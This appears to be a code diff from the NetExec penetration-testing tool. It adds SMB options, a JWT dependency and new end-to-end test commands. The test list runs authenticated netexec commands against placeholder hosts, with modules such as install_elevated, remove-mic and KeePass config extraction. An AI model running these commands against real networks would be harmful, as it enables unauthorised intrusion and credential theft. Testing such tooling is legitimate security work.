smb_parser.add_argument("--no-smbv1", action="store_true", help="Force to disable SMBv1 in connection")
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
Generated
+15 -2
View File
@@ -1,4 +1,4 @@
# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand.
# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand.
[[package]]
name = "aardwolf"
@@ -959,6 +959,19 @@ MarkupSafe = ">=2.0"
[package.extras]
i18n = ["Babel (>=2.7)"]
[[package]]
name = "jwt"
version = "1.3.1"
description = "JSON Web Token library for Python 3."
optional = false
python-versions = ">= 3.6"
files = [
{file = "jwt-1.3.1-py3-none-any.whl", hash = "sha256:61c9170f92e736b530655e75374681d4fcca9cfa8763ab42be57353b2b203494"},
]
[package.dependencies]
cryptography = ">=3.1,<3.4.0 || >3.4.0"
[[package]]
name = "ldap3"
version = "2.9.1"
@@ -2494,4 +2507,4 @@ files = [
[metadata]
lock-version = "2.0"
python-versions = "^3.10.0"
content-hash = "b102ff826faf73e87da291e242fcdb95294a641c8d8ab8590d9b47f73d6375b6"
content-hash = "9af8efb9eb1cf1026dca8b5276ca23db2dbcdf6865fd61920a9daf1098646193"
+1
View File
@@ -44,6 +44,7 @@ bloodhound = "^1.7.2"
dploot = "^3.0.3"
dsinternals = "^1.2.4"
impacket = { git = "https://github.com/fortra/impacket.git" }
jwt = ">=1.3.1"
lsassy = ">=3.1.11"
masky = "^0.2.0"
minikerberos = "^0.4.1"
+2
View File
@@ -5,6 +5,7 @@ netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks
@@ -84,6 +85,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic
# currently hanging indefinitely - TODO: look into this
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"